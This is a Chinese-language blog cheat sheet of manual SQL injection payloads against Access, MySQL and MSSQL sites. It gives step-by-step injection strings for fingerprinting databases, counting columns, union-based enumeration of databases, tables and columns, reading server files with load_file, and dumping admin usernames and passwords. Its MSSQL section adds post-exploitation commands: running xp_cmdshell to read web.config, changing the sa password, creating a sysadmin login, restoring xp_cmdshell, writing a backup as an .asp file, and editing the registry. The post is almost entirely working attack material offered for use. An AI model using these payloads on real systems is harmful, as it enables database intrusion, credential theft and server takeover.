1. 程式人生 > >手工注入常用SQL語句

手工注入常用SQL語句

判斷資料庫型別:                                                                              
Access:
 and (select id from MSysAccessObjects) >0 返回正常說明是access




MSSQL:
 and (select id from sysobjects) >0 返回正常說明是mssql




MySQL:
 and length(user())>0    返回正常說明是MySQL




mysql:


1.判斷版本 and ord(mid(version(),1,1))>51 /* 返回正常說明是4.0以上版本,可以用union查詢
2.利用order by 暴欄位,在網址後加 order by 10 /* 如果返回正常說明欄位大於10
3.再利用union來查詢準確欄位,如: order by 或者and 1=2 union select 1,2,3,......./*直到返回正常,說明猜到準確欄位數。如過濾了空格可以用/**/代替。
4.判斷資料庫連線帳號有沒有寫許可權,and (select count(*) from mysql.user)>0 /*如果結果返回錯誤,那我們只能猜解管理員帳號和密碼了。
5.如果返回正常,則可以通過and 1=2 union select 1,2,3,4,5,6,load_file(char(檔案路徑的ascii值,用逗號隔開)),8,9,10 /* 注:load_file(char(檔案路徑的ascii值,用逗號隔開))也可以用十六進位制,通過這種方式讀取配置檔案,找到資料庫連線等。


6、檢測是不是root許可權 and/**/ord(mid(user(),1,1))=114/*


7、mysql內建函式hex()轉換字元為16進位制,如select hex(user())
mysql內建函式unhex() 解碼16進位制,如select unhex(hex(user())) 


8、mysql內建函式concat()將多列合併成一列,如select concat(username,0x3A,password) from t_member


9常用內建函式使用:
select system_user()  檢視系統使用者


select current_user()  查詢當前使用者


select user()  查詢使用者


SELECT version()  查詢資料庫版本


SELECT database()  查詢當前連線的資料庫


select @@version_compile_os 查詢當前作業系統


select @@datadir    查詢讀取資料庫路徑
select @@basedir    查詢MYSQL安裝路徑


----------------------淫蕩的分割線---------------------------------------------


去掉limit 1,1為查詢出所有行,第一個數字代表查詢第幾個,第二個數字代表一次查詢出的數量
第一個數字從1開始遞增,查詢到3時瀏覽器返回錯誤,說明存在2個庫/表。


10、查資料庫數量
union select cuncat(schema_name,0x3A)  from information_schema.schemata limit 1,1




11、查詢表
union select table_name from information_schema.tables where table_schema =庫名 limit 1,1








MSSQL:


檢測是否為SA許可權
and 1=(select IS_SRVROLEMEMBER('sysadmin'));--


檢測是否為DB許可權
and 1=(Select IS_MEMBER('db_owner'))


爆所有資料庫 union select name from master.dbo.sysdatabases where dbid=1  1代表第一個庫


爆所有表
第一張表 union select  top 1 name from 庫名.dbo.sysobjects where xtype='U'


第二張表 union select  top 1 name from 庫名.dbo.sysobjects where xtype='U' and name not in('第一張表')


第三張表 union select  top 1 name from 庫名.dbo.sysobjects where xtype='U' and name not in('第一張表','第二張表')
...




爆列:
爆ID  select id from seay.dbo.sysobjects where xtype='U' and name='admin'


爆第一個列 select top 1 name from seay.dbo.syscolumns where id=ID號


爆第二個列  select top 1 name from seay.dbo.syscolumns where id=ID號 and name not in('第一個列')
...




爆資料:
select 列名 from 表名




exec master.dbo.xp_dirtree 'c:\';  遍歷目錄
exec master.dbo.xp_availablemedia;-- 獲得當前所有驅動器 
exec master.dbo.xp_subdirs 'c:\';-- 獲得子目錄列表 
exec master.dbo.xp_dirtree 'c:\';-- 獲得所有子目錄的目錄樹結構 
exec master.dbo.xp_cmdshell 'type c:\web\web.config';-- 檢視檔案的內容 


備份資料庫:backup database 庫名 to disk='c:/l.asp'; 




MSSQL內建函式:
select @@version  查詢資料庫版本


select user_name() 查詢當前資料庫連線使用者名稱


select db_name()  查詢當前資料庫名




更改sa密碼
exec sp_password NULL,'新密碼','sa'




新增SA許可權使用者
exec sp_addlogin 'username','pass','master';
exec sp_addsrvrolemember 'username', sysadmin






檢測是否支援多行
;declare @d int;--




停掉或啟用某個服務。


exec master..xp_servicecontrol 'stop','schedule'
exec master..xp_servicecontrol 'start','schedule'




解開壓縮檔。


xp_unpackcab 'c:\test.cab','c:\temp',1






恢復 xp_cmdshell
;exec master..dbo.sp_addextendedproc 'xp_cmdshell','xplog70.dll';--




開啟沙盤模式:
exec master..xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Jet\4.0\Engines','SandBoxMode','REG_DWORD',1